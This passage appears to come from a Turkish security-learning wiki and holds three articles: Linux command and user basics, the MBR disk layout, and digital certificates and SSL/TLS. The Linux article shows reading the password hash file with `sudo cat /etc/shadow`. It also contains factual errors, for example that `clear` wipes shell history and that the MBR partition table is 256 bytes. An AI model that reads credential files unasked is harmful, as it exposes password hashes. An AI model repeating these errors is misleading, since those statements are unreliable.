Resimde görüldüğü gibi dizin konumumuzu "/home/kali" den "/home/kali/dosya" olarak değiştirdik.

`cd` komutunun farklı kullanımları da var elbette; `cd .` Bu, şu anda içinde bulunduğunuz dizindir. `cd ..` Sizi bulunduğunuz dizinin üstündeki dizine götürür. `cd ~` Bu dizin varsayılan olarak "ev dizininiz"dir. Örneğin /home/kali.

#### ls (List Directories)

Şimdi, sistemde nasıl hareket edeceğimizi bildiğimize göre, önümüzde ne olduğunu anlamak için ne yapacağımızı düşünelim. Şu anda, adeta karanlık bir odada ilerliyor gibiyiz. Dizin içeriğini görmek için kullanacağımız harika bir araç var: `ls` komutu. Bu komut, varsayılan olarak bulunduğumuz dizindeki dizinleri ve dosyaları listeleyecektir. Ancak, belirli bir yolu listelemek isterseniz, bu da mümkün.

<figure><img src="/files/p4WYycBHbcMvL5TwZ74w" alt="" width="563"><figcaption></figcaption></figure>

Ancak bazı dosyalar gizlidir ve ls komutu ile gözükmeyebilir bunun için ls -a komutunu kullanabilirsiniz. Dosyaların ayrıntılarını göstermek içinse ls -l ve bu iki komutu beraber kullanabilirsiniz ls -la.

#### touch

touch komutu yeni boş dosyalar oluşturmanıza olanak tanır. `touch newfile` komutunu terminale yapıştırdığınızda newfile adında bir boş dosya oluşturulduğunu görebilirsiniz.

#### file

Bir dosyanın ne tür bir dosya olduğunu öğrenmek için file komutunu kullanabilirsiniz. Bu size dosyanın içeriğinin bir açıklamasını gösterecektir.

#### cat

`cat` komutu concatenate'in kısaltmasıdır ve dosya okuma gibi işlemlerde kullanılır. Büyük dosyaları görüntülemek için harika değildir ve yalnızca kısa içerikler içindir.

#### less

`less` bir dosya okuma komutudur. cat komutundan farkı daha büyük dosyaları okumanıza yardımcı olur. Metin, sayfalı bir şekilde görüntülenir. Böylece bir metin dosyasında sayfa sayfa gezinebilirsiniz.

#### history

`history` komutu adından da anlaşılacağı gibi shell üzerinde yazdığınız geçmiş komutları gösterir. Daha önce yaptığınız aynı komutu çalıştırmak istiyorsanız, yukarı oka basmanız yeterlidir. Tabii ki de bu geçmişi temizleyebiliriz. Temizlemek için komut satırına `clear` yazmamız yeterli olacaktır.

#### cp (Copy)

`cp` komutu dosya için kullanılır. Kopyalama işlemi için `cp` komutundan sonra kaynak dizin/dosya ve hedef dizin/dosya belirtilir.

#### mv (Move)

`mv` komutu bir dosyayı bulunduğu dizinden başka bir dizine taşımak için kullanılır. Taşıma işlemi ile birlikte dosya ismi de değiştirilebilmektedir.

#### mkdir (Make Directory)

Üzerinde çalıştığımız tüm dosyaları düzenli bir şekilde saklamak için bazı dizinlere ihtiyacımız olacak. Bu amaçla `mkdir` (Dizin Oluştur) komutu oldukça kullanışlıdır. Eğer zaten mevcut değilse belirttiğiniz dizini oluşturur. Ayrıca aynı anda birden fazla dizin de oluşturabilirsiniz.

#### rm (Remove)

`rm` komutu fazlalıklardan kurtulmamıza yardımcı olabilir. Bu komutu kullanarak istediğimiz dosyaları silebiliriz.

#### find

`find` komutu ile sistemde istediğimiz dosyayı kolayca bulabiliriz. Örneğin, `find /home -name flag.txt` bu komut flag.txt dosyasını /home dizini altında bizim yerimize arar.

#### help

Anlattığımız birçok komut ve anlatmadıklarımızın hepsini görüntüleyebilmek için terminale `help` yazmamız yeterli olacaktır.

<figure><img src="/files/ScFTxiDiKAflNnBOg6bp" alt="" width="563"><figcaption></figcaption></figure>

## Kullanıcı Yönetimi

<figure><img src="/files/EPPFislTbAuyzpe4kNaw" alt="" width="563"><figcaption></figcaption></figure>

#### Kullanıcılar ve Gruplar

Her işletim sisteminde olduğu gibi Linux tabanlı bir işletim sisteminde de kullanıcılar ve gruplar vardır. Bu kullanıcıların farklı izinleri ve yetkileri olabilir. Her kullanıcının, kullanıcıya özel dosyaların depolandığı kendi giriş dizini vardır. Bu genellikle "/home/kullanıcı" dizininde bulunur. Tabii farklı linux dağıtımlarında farklılık gösterebilir. Sistem, kullanıcıları yönetmek için kullanıcı kimliklerini (UID) kullanır. Kullanıcı adları, kullanıcıları kimlikle ilişkilendirmenin kolay yoludur. Ancak sistem, kullanıcıları UID'lerine göre tanımlar. Sistem ayrıca izinleri yönetmek için grupları kullanır. Gruplar yalnızca izinleri o grup tarafından belirlenen kullanıcı gruplarıdır ve sistem tarafından grup kimlikleriyle (GID) tanımlanırlar. Arka planda, bu sistem bir ağır metal konserine gizlice girmek isteyen bir grup hacker'ın hikayesini hatırlatıyor. Kimlik hırsızlığı, grup kimliğinin (GID) çalınması ve izinsiz erişim sağlanması gibi karanlık bir hikaye var gibi. Tabii ki gerçek hayatta böyle şeyler olmaz... ya da olur mu? Linux'ta sistemi kullanan normal insanlara ek olarak kullanıcılarınız da olacaktır. Bazen bu kullanıcılar, sistemin işleyişini sürdürmek için sürekli olarak süreçleri çalıştıran sistem arka plan programlarıdır. En önemli kullanıcılardan biri root veya süper kullanıcıdır. root sistemdeki en güçlü kullanıcıdır. root herhangi bir dosyaya erişebilir ve herhangi bir işlemi başlatıp sonlandırabilir. Bu nedenle sürekli root olarak çalışmak tehlikeli olabilir. Sistem açısından kritik dosyaları kaldırma ihtimaliniz vardır. Neyse ki, root erişimi gerekiyorsa ve kullanıcının root erişimi varsa sudo komutu yerine root olarak bir komutu çalıştırabilirler. Sudo komutu (superuser do), root erişimi olan bir komutu çalıştırmak için kullanılır.

<figure><img src="/files/xiFX2zeL4JtPyExjeWDB" alt="" width="563"><figcaption></figcaption></figure>

shadow dosyasını görüntülemek istediğimizde "Permission denied" hatası ile karşılaşacaksınız. Bu hata, dosyayı okuma iznininzin olmadığı söylemektedir. `ls -la /etc/shadow` komutu ile dosyanın izinlerine bakabiliriz. Göreceksiniz ki dosyayı okumak için root yetkilerine sahip olmalıyız. Bunun için `sudo cat /etc/shadow` komutu ile kolayca çözebiliriz.

#### root

`sudo` komutunu kullanarak root kullanıcısının yetkilerini elde etmeyi inceledik. `su` komutuyla komutları root kullanıcısı olarak da çalıştırabilirsiniz. Bu komut "kullanıcıların yerini alacak" ve kullanıcı adı belirtilmemişse bir terminal açacaktır. Şifreyi bildiğiniz sürece herhangi bir kullanıcının yerini almak için bu komutu kullanabilirsiniz. Peki sistem Mikail kullanıcısının root kullanıcısı gibi komut çalıştırmasına izin vermiyor. Peki bunu nasıl yapıyor? /etc/sudoers dosyası adında bir dosya var. Bu dosya sudo'yu çalıştırabilen kullanıcıları listeliyor. Bu dosyayı `visudo` komutuyla düzenleyebilirsiniz.

#### Kullanıcı Yönetimi Araçları

Çoğu kurumsal ortamlar; kullanıcıları, hesapları ve parolaları yönetmek için yönetim sistemlerini kullanıyor. Tek makinede bunu yapmak için birkaç komut yeterli olacaktır.

**Kullanıcı Ekleme**

Adduser veya useradd komutunu kullanabilirsiniz. Adduser komutu, bir giriş dizini oluşturma ve daha fazlası gibi daha yararlı özellikler içerir. Varsayılan kullanıcıya atamak istediğiniz şeye bağlı olarak özelleştirilebilen, yeni kullanıcılar eklemek için yapılandırma dosyaları vardır.

`sudo useradd yavuzlar` komutu yavuzlar için /etc/passwd dosyasında bir giriş oluşturduğunu, varsayılan grupları ayarladığını ve /etc/shadow dosyasına eklediğini göreceksiniz.

**Kullanıcı Silme**

Bir kullanıcıyı kaldırmak için userdel komutunu kullanabiliriz. `sudo userdel yavuzlar` bu komut kısaca useradd komutunun passwd ve shadow dosyalarında yaptığı değişiklikleri geri alır.

**Kullanıcı Şifre Değiştirme**

`passwd yavuzlar` komutu yavuazlar kullanıcısnın şifresini değiştirmesine olanak tanıyacaktır.

## Paketler

<figure><img src="/files/bClRc2dT1afEZsL2GrIs" alt="" width="563"><figcaption></figcaption></figure>

Paketler nedir? Bunları Chrome, Photoshop vb. olarak biliyor olabilirsiniz ve öyledirler. Ancak gerçekte bunlar yalnızca tek bir dosyada derlenmiş çok sayıda dosyadır. Bu yazılımı yazan kişiler (veya bazen tek bir kişi), upstream sağlayıcıları olarak bilinir. Lodlarını derlerler ve nasıl kurulacağını yazarlar. Bu upstream sağlayıcıları yeni yazılım çıkarmaya ve mevcut yazılımı güncellemeye çalışır. Bunu dünyaya yayınlamaya hazır olduklarında, paketlerini bu yazılımın kullanıcıların eline geçmesiyle ilgilenen paket bakımcılarına gönderirler. Bu paket bakımcıları bu yazılımı paketler halinde inceler, yönetir ve dağıtır.

#### gzip

Muhtemelen bir dosya arşivinin ne olduğunu zaten biliyorsunuzdur. Büyük olasılıkla .rar ve .zip gibi dosya türleriyle karşılaşmışsınızdır. Bunlar bir dosya arşividir. İçlerinde birçok dosya içerirler.

**Dosyaları gzip ile sıkıştırmak**

gzip, Linux'ta dosyaları sıkıştırmak için kullanılan bir programdır ve .gz uzantısıyla biter. Bir dosyayı sıkıştırmak için: `gzip dosya` Sıkıştırılan dosyayı açmak için: `gunzip dosya.gz` komutu kullanılır.

#### rpm and dpkg

Tıpkı .exe'nin tek bir yürütülebilir dosya olması gibi .deb ve .rpm de öyle. Paket depolarını kullanırsanız normalde bunları göremezsiniz. Ancak paketleri doğrudan indirirseniz büyük olasılıkla bunları bu popüler formatta alırsınız. Açıkçası bunlar kendi dağıtımlarına özeldir. Debian tabanlı için .deb ve Red Hat tabanlı için .rpm.

Bu doğrudan paketleri kurmak için paket yönetimi komutlarını kullanabilirsiniz: rpm ve dpkg. Bu araçlar paket dosyalarını yüklemek için kullanılır. Ancak paket bağımlılıklarını yüklemezler. Dolayısıyla paketinizde 10 bağımlılık varsa bu paketleri ayrı ayrı, ardından bağımlılıklarını vb. yüklemeniz gerekir.

**Paket Yükeleme**

`Debian: dpkg -i some_deb_package.deb` `RPM: rpm -i some_rpm_package.rpm` i, install anlamına gelir. Daha uzun olan --install biçimini de kullanabilirsiniz.

**Paket Silme**

`Debian: dpkg -r some_deb_package.deb` `RPM: rpm -e some_rpm_package.rpm` -r remove u temsil ederken -e erase yi temsil etmektedir

#### yum and apt

Bu sistemler, paket bağımlılıklarının kurulması da dahil olmak üzere paket kurulumunu, kaldırılmasını ve değişikliklerini kolaylaştırmak için tüm düzeltmelerle birlikte gelir. En popüler yönetim sistemlerinden ikisi yum ve apt'dir. Yum, Red Hat ailesine özeldir ve apt ise yalnızca Debian ailesine özeldir.

**Paket Yükeleme**

`Debian: apt install package_name` `RPM: yum install package_name`

**Paket Silme**

`Debian: apt remove package_name` `RPM: yum erase package_name`

**Tüm Paketleri Günelleme**

Tüm paketleri tek komut ile güncelleyebilirsiniz. `Debian: apt update; apt upgrade` `RPM: yum update`

{% embed url="<https://github.com/MKLKCDG>" fullWidth="false" %}
Bu yazı Mikail KOCADAĞ tarafından hazırlanmıştır.
{% endembed %}


# MBR

Merhabalar bugün ki yazımızda MBR (Master Boot Record) u kısaca tanıyacağız.

### MBR Nedir?

MBR, sabit diskinizdeki bölümleri tanımlayan bir bölümleme yöntemidir. MBR, sabit disk bölümlerinin boyutunu, konumunu ve diğer özelliklerini içeren bir yapıdır. İlk 512 baytı, önyükleme işlemi için kullanılır. Bu 512 bayt, MBR olarak adlandırılır ve sabit diskinizdeki ilk sektörde bulunur.

MBR, dosya sistemleri tarafından kullanılan bir yapıdır. MBR yapılandırması, disk bölümlerinin boyutunu, konumunu ve diğer özelliklerini içerir. MBR, 4 bölüm tanımlar ve her bir bölüm, maksimum\
2 TB boyutunda olabilir. Ancak, modern sabit diskler daha büyük boyutlarda bölümleri destekler.

<figure><img src="/files/LXDeZmBrN7IITZAgKV0x" alt=""><figcaption></figcaption></figure>

Örenğin Windows sistemde karşılık aşağıdaki gibidir.

<figure><img src="/files/UFmLG6rMZlfOFKTFhvSE" alt=""><figcaption></figcaption></figure>

### Master Boot Code Nedir?

Master Boot Code, MBR'nin ilk 446 baytında bulunan bir önyükleme kodu parçasıdır. Bilgisayar açıldığında BIOS veya UEFI, bu kodu okur ve çalıştırır. Bu kod, bilgisayarın işletim sistemini yüklemesi veya başka bir önyükleme yükleyicisini çağırması için gerekli olan talimatları içerir.

#### Master Boot Code'un İşlevleri

1. **Önyükleme Başlatma**:
   * **İşlevi**: Bilgisayarın başlangıç aşamasında, BIOS MBR'yi okur ve Master Boot Code'u çalıştırır. Bu kod, diskteki işletim sistemini bulmak ve yüklemek için temel talimatları sağlar.
   * **Yükleme**: Kod, işletim sisteminin başlatılmasını sağlamak için daha karmaşık bir önyükleyiciye geçiş yapabilir. Bu daha karmaşık önyükleyici, işletim sistemini veya diğer önyükleme yükleyicilerini (bootloader) yükler.
2. **Yükleme Yönlendirme**:
   * **İşlevi**: Eğer Master Boot Code basit bir önyükleyici içeriyorsa, genellikle işletim sistemi veya başka bir önyükleyiciye geçiş yapar. Örneğin, GRUB veya Windows Boot Manager gibi.
   * **Talimatlar**: Kod, diskteki belirli bir bölüme veya sektöre geçiş yapmak için talimatlar içerir. Bu talimatlar, işletim sistemini yüklemek için gerekli olan önyükleyici veya çekirdek dosyalarını bulur.

### **Bölüm Tablosu (Partition Table)**:

* **Konum**: MBR'nin 446-510. baytları arasında bulunur.
* **İşlevi**: Disk üzerindeki bölümlerin nasıl düzenlendiğini ve yapılandırıldığını belirtir. Bu bölüm, 4 adet bölüm girişi içerir. Her bir giriş, bir bölümün:
  * Başlangıç ve bitiş adreslerini
  * Bölüm türünü
  * Bölümün aktif olup olmadığını
  * Dosya sistemini (NTFS, FAT32, vb.) gibi bilgileri içerir.
* **Detaylı Yapı**:
  * **Başlangıç Noktası**: Her bir bölüm girişi, bölümün disk üzerindeki başlangıç adresini belirler. Bu genellikle 1 sektörü (512 bayt) kapsar.
  * **Bölüm Türü**: Bölümün hangi tür olduğunu belirtir. Örneğin, birincil, genişletilmiş veya mantıksal bölüm.
  * **Sonuç**: Her bölüm girişinin boyutu 16 bayttır, ve dört bölüm girişi toplamda 64 bayt yapar. Bu nedenle, bölüm tablosu toplamda 64 bayt \* 4 = 256 bayttır.

#### **Magic Number:**

* **Konum**: MBR'nin son 2 baytı, yani 510-511. baytlarda bulunur.
* **İşlevi**: MBR'nin geçerli olduğunu doğrulayan özel bir işarettir. Bu işaret, `0xAA55` değerini içerir ve MBR'nin doğruluğunu ve okunabilirliğini belirtir. Eğer bu değer doğru değilse, BIOS bu alanı geçersiz olarak kabul eder.

### MBR'nin Sınırlamaları

1. **Bölüm Sayısı**:
   * **Sınırlama**: MBR, en fazla dört ana bölüm veya üç ana bölüm ve bir genişletilmiş bölüm destekler. Genişletilmiş bölümler, içinde birden fazla mantıksal bölüm barındırabilir. Ancak, genişletilmiş bölüm yapılandırması karmaşıklığa yol açabilir.
   * **Çözüm**: GPT (GUID Partition Table) bu sınırlamayı aşar ve 128'e kadar bölüm desteği sağlar.
2. **Disk Boyutu**:
   * **Sınırlama**: MBR, 2 TB'ye kadar olan diskleri destekler. Bunun nedeni, bölüm tablosunun sektöre (512 bayt) dayalı adresleme kullanmasıdır ve bu, 2^32 sektörün ötesini kapsamaz.
   * **Çözüm**: GPT, çok daha büyük diskleri destekler ve 9.4 ZB (zettabyte) kadar veri yönetebilir.
3. **Bölüm Sınırları**:
   * **Sınırlama**: MBR'nin bölümleri 2^32 sektöre kadar destekler, bu da yaklaşık 2 TB'ye kadar veri anlamına gelir.
   * **Çözüm**: GPT'nin daha gelişmiş adresleme yöntemi, çok daha büyük bölümleri ve diskleri destekler.

{% embed url="<https://github.com/ResulCelik0>" %}
Bu yazı Resul ÇELİK tarafından yazılmıştır.
{% endembed %}


# Dijital Sertifika ve İmzalar

Dijital Sertifika ve İmzalar Nasıl Çalışır ve Onlara Nasıl Güvenebiliyoruz?

<figure><img src="/files/kI3Ya3yGxDlxq85wiJkQ" alt=""><figcaption></figcaption></figure>

Modern dijital çağda, çevrimiçi iletişimi güvence altına almak kritik bir öneme sahiptir. Kredi kartı bilgileri, kişisel veriler ve iş sırları gibi hassas bilgilerin İnternet üzerinden aktığı bir dünyada, bu bilgilerin güvenliğini nasıl sağlarız? Cevap, dijital sertifikalar ve dijital imzalarda yatmaktadır. Bu teknolojiler, özellikle SSL (Secure Sockets Layer) ve TLS (Transport Layer Security) gibi protokoller aracılığıyla güvenli iletişimin temelini oluşturur. Şimdi bu kavramları basit benzetmeler ve gerçek hayattan senaryolarla açıklayalım.

## Dijital Dünyada Güven <a href="#a496" id="a496"></a>

Dijital sertifikalar ve imzalar, çevrimiçi güvenli iletişimin görünmez koruyucularıdır; İnternet üzerinde kimlik doğrulama ve veri bütünlüğü sağlayan dijital pasaportlar gibi çalışır. Nasıl ki devlet tarafından verilen bir pasaport, uluslararası sınır kapılarında bir kişinin kimliğini doğruluyorsa, dijital sertifikalar da dijital dünyada web sitelerini, e-posta gönderenleri ve yazılım yayıncılarını doğrular.

### Dijital Sertifika Nedir? <a href="#id-9a05" id="id-9a05"></a>

Dijital sertifika, bir genel anahtarın sahipliğini kanıtlayan elektronik bir kimlik belgesidir. Bir kafede yeni biriyle tanıştığınızı düşünün. Bu kişi ünlü bir yazar olduğunu iddia ediyor, ama bunu nasıl doğrulayabilirsiniz? Güvenilir bir otorite (örneğin bir devlet kurumu) tarafından verilen bir kimlik kartı gösterirse, ona inanmanız daha olasıdır. Dijital dünyada, dijital sertifika bu kimlik kartı görevi görür. Web sitelerinin, yazılımların veya diğer varlıkların kimliğini doğrular.

### Dijital Sertifikaların Ana Bileşenleri <a href="#id-41cd" id="id-41cd"></a>

### 1. Özne Bilgisi (Subject Information) <a href="#fd3b" id="fd3b"></a>

Bu bölüm, sertifikanın kime verildiğiyle ilgili bilgileri içerir. Örnekler:

* Web siteleri için: Alan adı (domain name).
* Organizasyonlar için: Organizasyonun adı, konumu ve e-posta adresi.
* Bireyler için: Kişinin adı ve diğer kişisel tanımlayıcılar.

Bu, kimlik kartınızdaki isim ve adres gibi düşünülebilir; başkalarına sizi tanıtır.

### 2. Genel Anahtar (Public Key) <a href="#id-676a" id="id-676a"></a>

Genel anahtar, şifreleme ve dijital imzaları doğrulama için kullanılan bir kriptografik anahtardır. Bu anahtar, sertifika sahibinin güvenli bir şekilde sakladığı bir özel anahtarla (private key) birlikte çalışır.

Genel anahtar ile şifrelenen veri, yalnızca ilgili özel anahtar kullanılarak çözülebilir. Bunu, herkesin içine mektup atabileceği (veriyi şifreleme) bir posta kutusu olarak hayal edin, ancak yalnızca kutunun anahtarına sahip olan kişi mektupları alabilir.

### 3. Verilen Kurum Bilgisi (Issuer Information) <a href="#c88f" id="c88f"></a>

Sertifikayı veren Sertifika Yetkilisi (Certificate Authority - CA) hakkında bilgiler içerir. Örnekler:

* CA’nın adı.
* CA’nın dijital imzası.
* İletişim bilgileri.

### 4. Geçerlilik Tarihleri (Validity Dates) <a href="#id-2c7a" id="id-2c7a"></a>

Dijital sertifikalar, yalnızca belirli bir süre için geçerlidir. Geçerlilik başlangıç ve bitiş tarihleri ile belirtilir. Sertifika süresi dolduğunda, sahibinin yenileme yapması gerekir.

### 5. Dijital İmza (Digital Signature) <a href="#bb3b" id="bb3b"></a>

Dijital imza, sertifikayı veren CA tarafından eklenen bir kriptografik mühürdür. Şunları kanıtlar:

* Sertifikanın gerçekliği (sahtecilik yapılmadığının göstergesi).
* Sertifikanın bütünlüğü (verildikten sonra değiştirilmemiş olması).

Dijital imza, CA'nın özel anahtarı kullanılarak oluşturulur ve tarayıcıların varsayılan olarak güvendiği CA'nın genel anahtarı kullanılarak doğrulanır.

Bir noterin bir belgeye resmi bir damga eklediğini düşünün. Damga, belgenin meşru olduğunu ve kurcalanmadığını gösterir.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*2sVWMiGWIbSiFcFg" alt="" height="394" width="700"><figcaption></figcaption></figure>

### Dijital Sertifikalar Nasıl Çalışır? <a href="#d1a2" id="d1a2"></a>

Dijital sertifikalar Sertifika Yetkilileri (CA) tarafından verilir. Bu CA'lar, fiziksel dünyadaki noterler gibi güvenilir üçüncü taraflar olarak hareket eder.

Sertifika Yetkilisi, dijital sertifikalar veren güvenilir bir kuruluştur. Popüler CA'lar şunlardır:

* **Let's Encrypt:** Ücretsiz, otomatik ve açık CA.
* **DigiCert:** Çok çeşitli seçeneklere sahip önde gelen bir ticari CA.
* **GlobalSign:** Yüksek güvenceli sertifikalar sunar.

CA'lar, sertifikayı talep eden kuruluşu şunları kontrol ederek doğrular:

* Alan adı sahipliği.
* Kuruluş ayrıntıları.
* Sertifika türüne bağlı olarak diğer doğrulama süreçleri.

Bir web sitesi sahibi, bir CA'dan sertifika başvurusunda bulunur. Ardından CA, web sitesinin kimliğini doğrular. CA, web sitesinin güvenli bağlantılar kurmak için kullandığı bir dijital sertifika verir.

## SSL ve TLS <a href="#id-5c03" id="id-5c03"></a>

Güvenli web siteleri (URL'lerinde "https" olanlar) bağlamında SSL (Secure Sockets Layer) ve TLS (Transport Layer Security) kavramlarını duymuş olabilirsiniz. Her iki protokol de tarayıcınız ve bir sunucu arasında aktarılan verileri güvence altına alırken, TLS, SSL'in daha yeni ve daha güvenli sürümüdür.

<figure><img src="/files/OPnzy1nvhHuyXvIg4iZz" alt="" height="394" width="700"><figcaption></figcaption></figure>

**SSL/TLS**, bilgisayar ağları üzerinden güvenli iletişim sağlayan kriptografik protokollerdir. <https://www.example.com> adresini ziyaret ettiğinizde, şunlar olur:

1. **Client Hello**: Tarayıcınız güvenli bir bağlantı ister.
2. **Sunucu Sertifikası:** Web sunucusu dijital sertifikasını sunar.
3. **Sertifika Doğrulaması:**

* Tarayıcı sertifikanın geçerliliğini kontrol eder.
* Güvenilir bir Sertifika Yetkilisi (CA) tarafından verildiğini doğrular.
* Alan adının sertifikayla eşleştiğini doğrular.

4\. **Anahtar Değişimi**: Güvenli bir oturum anahtarı sağlanır.

5\. **Şifrelenmiş İletişim:** Sonraki tüm veriler şifrelenerek iletilir.

## SSL ve TLS Arasındaki Temel Farklar <a href="#id-06b6" id="id-06b6"></a>

TLS, gelişmiş güvenlik ve performans sunan SSL'in daha güvenlikli bir sürümüdür. Temel farkları ve teknik iyileştirmeleri inceleyelim:

### **1.** Protokol Evrimi <a href="#id-421e" id="id-421e"></a>

**SSL (Sürüm 1.0 ila 3.0):** SSL 1.0 güvenlik açıkları nedeniyle hiçbir zaman genel kullanıma sürülmedi, SSL 2.0 ve 3.0 ise yaygın olarak kullanıldı ancak sonunda güvenlik açıkları nedeniyle kullanımdan kaldırıldı ([POODLE attack on SSL 3.0](https://www.cisa.gov/news-events/alerts/2014/10/17/ssl-30-protocol-vulnerability-and-poodle-attack)).

**TLS (Sürüm 1.0 ila 1.3):** TLS, zayıflıkları giderilerek SSL 1.0 sürümüyle değiştirildi. En son sürüm olan TLS 1.3, 2018'de tamamlandı ve hem güvenlik hem de hız açısından önemli iyileştirmeler getirdi.

### 2. Kriptografik Algoritmalar <a href="#id-5486" id="id-5486"></a>

**SSL**

SSL, birçoğu artık güvensiz kabul edilen daha zayıf kriptografik algoritmalara dayanıyordu. Her ikisi de çarpışmalara (collision) karşı savunmasız olan **MD5** ve **SHA-1** hashing algoritmalarını kullanıyordu. Saldırılara karşı hassas olan **RC4** gibi güncel olmayan şifrelerin kullanımına izin veriyordu.

**TLS**

TLS daha güçlü algoritmalarla donatıldı ve güvensiz olanları kaldırdı. Modern kriptografik şifreler (AES, [ChaCha20](https://en.wikipedia.org/wiki/ChaCha20-Poly1305)) için destek sağladı, **SHA-256** ve diğer güvenli hashing algoritmalarının kullanımını getirdi. TLS 1.3, **ECDHE** gibi güvenli anahtar değişim yöntemleriyle [Perfect Forward Secrecy (PFS)](https://en.wikipedia.org/wiki/Forward_secrecy) kullanımını zorunlu kıldı.

### **3.** El Sıkışma Süreci (Handshake) <a href="#c6a7" id="c6a7"></a>

El sıkışma süreci, şifreleme anahtarlarını değiştirerek istemci ve sunucu arasında güvenli bir bağlantı kurar. TLS el sıkışmayı daha modern hale getirdi:

**SSL**: El sıkışma daha fazla gidiş-dönüş içeriyordu ve bu da onu daha yavaş hale getiriyordu.

**TLS**: TLS 1.2 ve öncesi el sıkışma gecikmesini biraz azaltırken, TLS 1.3 bunu daha da optimize etti:

* TLS 1.3, el sıkışma için yalnızca bir gidiş-dönüş (1-RTT) gerektirir.
* İsteğe bağlı 0-RTT modu, oturumların neredeyse anında devam ettirilmesine olanak tanıyarak performansı artırır.

### 4. Güvenlik Özellikleri <a href="#a5d3" id="a5d3"></a>

**SSL**:

* [POODLE](https://www.cisa.gov/news-events/alerts/2014/10/17/ssl-30-protocol-vulnerability-and-poodle-attack), [BEAST](https://www.ibm.com/docs/en/sdk-java-technology/8?topic=provider-beast-security-vulnerability-cve-2011-3389) ve [DROWN](https://www.tenable.com/plugins/lce/801962) gibi çeşitli saldırılara karşı savunmasızdır.
* Downgrade saldırılarını açıkça ele almamıştır.

**TLS**:

* Mesaj bütünlüğü için [HMAC ](https://www.okta.com/identity-101/hmac/)(Hash-Based Message Authentication Codes) gibi mekanizmalar tanıtılmıştır.
* TLS 1.3, [CRIME](https://www.acunetix.com/vulnerabilities/web/crime-ssl-tls-attack/) gibi saldırıları önlemek için yeniden müzakere (renegotiation), **RC4** ve sıkıştırma gibi güvenli olmayan özellikleri kaldırdı.
* Güvenli müzakere kullanarak protokol downgrade saldırılarına karşı korumalar içerir.

### 5. SSL'in Kullanım Dışı Bırakılması <a href="#id-166d" id="id-166d"></a>

* SSL 2.0, 2011 yılında [RFC 6176](https://datatracker.ietf.org/doc/html/rfc6176) tarafından kullanım dışı bırakılmıştır.
* SSL 3.0, 2015 yılında [RFC 7568](https://www.rfc-editor.org/rfc/rfc7568.html) tarafından kullanım dışı bırakılmıştır. Modern tarayıcılar ve sistemler artık SSL'i desteklememektedir ve bu da TLS'i güvenli iletişim için tek geçerli protokol haline getirir.

### 6. Kullanım ve Terminoloji <a href="#id-3d7e" id="id-3d7e"></a>

"SSL" hala günlük dilde kullanılsa da ("SSL sertifikası"), pratikte tüm modern uygulamalar TLS kullanır. Örneğin:

* HTTPS bağlantıları SSL değil TLS kullanır.
* OpenSSL, BoringSSL ve diğerleri gibi kütüphaneler yalnızca TLS protokolünü uygular.

<table><thead><tr><th width="268">Özellik</th><th>SSL</th><th>TLS</th></tr></thead><tbody><tr><td>Desteklenen Sürümler</td><td>SSL 2.0, SSL 3.0</td><td>TLS 1.0, 1.1, 1.2, 1.3</td></tr><tr><td>Kriptografik Algoritmalar</td><td>Zayıf (MD5, RC4 gibi)</td><td>Güçlü (AES, SHA-256 gibi)</td></tr><tr><td>El Sıkışma Gecikmesi</td><td>Yüksek</td><td>Az (1-RTT ya da 0-RTT)</td></tr><tr><td>Perfect Forward Secrecy</td><td>Yok</td><td>Var (TLS 1.2+)</td></tr><tr><td>Downgrade Attack Koruması</td><td>Kısıtlı</td><td>Güçlü (TLS 1.2+)</td></tr></tbody></table>

## Dijital İmzalar: Veri Bütünlüğünün Sağlanması <a href="#id-056e" id="id-056e"></a>

Dijital imzalar, elektronik belgelerin, mesajların ve yazılımların gerçek olduğundan ve kurcalanmadığından/bozulmadığından emin olmak için geliştirilmiş modern kriptografinin temel bir bileşenidir. Güvenli iletişimlerde, yazılım dağıtımında ve dijital sertifikalarda yaygın olarak kullanılırlar. Nasıl çalıştıklarını, teknik temellerini ve neden güvenilir olduklarını inceleyelim.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*N__tUya2sG6kkxd5.png" alt="Illustration of steps to verify a digital signature" height="518" width="700"><figcaption><p><a href="https://signx.wondershare.com/knowledge/digital-signature-example.html">Source</a></p></figcaption></figure>

Dijital imza, bir belgeye veya mesaja iliştirilen ve iki şeyi kanıtlayan bir kriptografik mühürdür:

1. **Gerçeklik (Authenticity):** Gönderenin gerçek/doğru olduğunu doğrular.
2. **Bütünlük (Integrity)**: İçeriğin aktarım sırasında değiştirilmediğinden emin olmamızı sağlar.

Dijital imzalar gelişmiş elektronik mühürler gibi çalışır:

* Kriptografik karma kullanarak bir belgenin benzersiz bir "parmak izini (fingerprint)" oluşturur.
* Belgeyi özel bir anahtarla imzalar.
* Herkes, ilgili genel (public) anahtarı kullanarak imzayı doğrulayabilir.
* Herhangi bir kurcalama/bozma imzayı geçersiz kılar.

### Dijital İmzalar için Kullanım Örnekleri <a href="#cf64" id="cf64"></a>

* Yazılım indirme doğrulaması
* E-posta kimlik doğrulaması
* Yasal belge imzalama
* Uygulamalar için kod imzalama

## Dijital İmzalar Nasıl Çalışır <a href="#df17" id="df17"></a>

Dijital imza oluşturma ve doğrulama süreci üç ana adımı içerir:

### 1. Hashleme: <a href="#id-9fdb" id="id-9fdb"></a>

* Belge veya mesaj, sabit boyutlu bir hash değeri üreten bir hashing fonksiyonundan (ör. SHA-256) geçirilir, buna "mesaj özeti" de denir.
* Bu hash, belgeye özgüdür; içerikte küçük bir değişiklik bile tamamen farklı bir hash üretilir.

### 2. Şifreleme: <a href="#id-353b" id="id-353b"></a>

* Hash değeri, gönderenin özel (private) anahtarıyla şifrelenerek dijital imza oluşturulur.
* Özel anahtar, yalnızca gönderenin bu imzayı oluşturmuş olmasını sağlar.

### 3. Doğrulama: <a href="#b482" id="b482"></a>

* Alıcı, imzayı şifresini çözmek ve orijinal hash değerini elde etmek için gönderenin genel anahtarını kullanır.
* Alıcı daha sonra alınan belgeyi hash haline getirir ve sonucu şifresi çözülmüş hash ile karşılaştırır. İkisi eşleşirse imza geçerlidir.

## Sonuç <a href="#id-7152" id="id-7152"></a>

Dijital sertifikalar ve imzalar, çevrimiçi ekosistemimizdeki güvenin omurgasını oluşturur. Kimlik doğrulama, şifreleme ve bütünlük doğrulaması sağlayarak, giderek daha fazla birbirine bağlı hale gelen bir dünyada güvenli küresel iletişimi mümkün kılarlar.

## İleri Okuma ve Referanslar <a href="#id-6a03" id="id-6a03"></a>

* [NIST Special Publication on Digital Signatures](https://csrc.nist.gov/projects/digital-signatures)
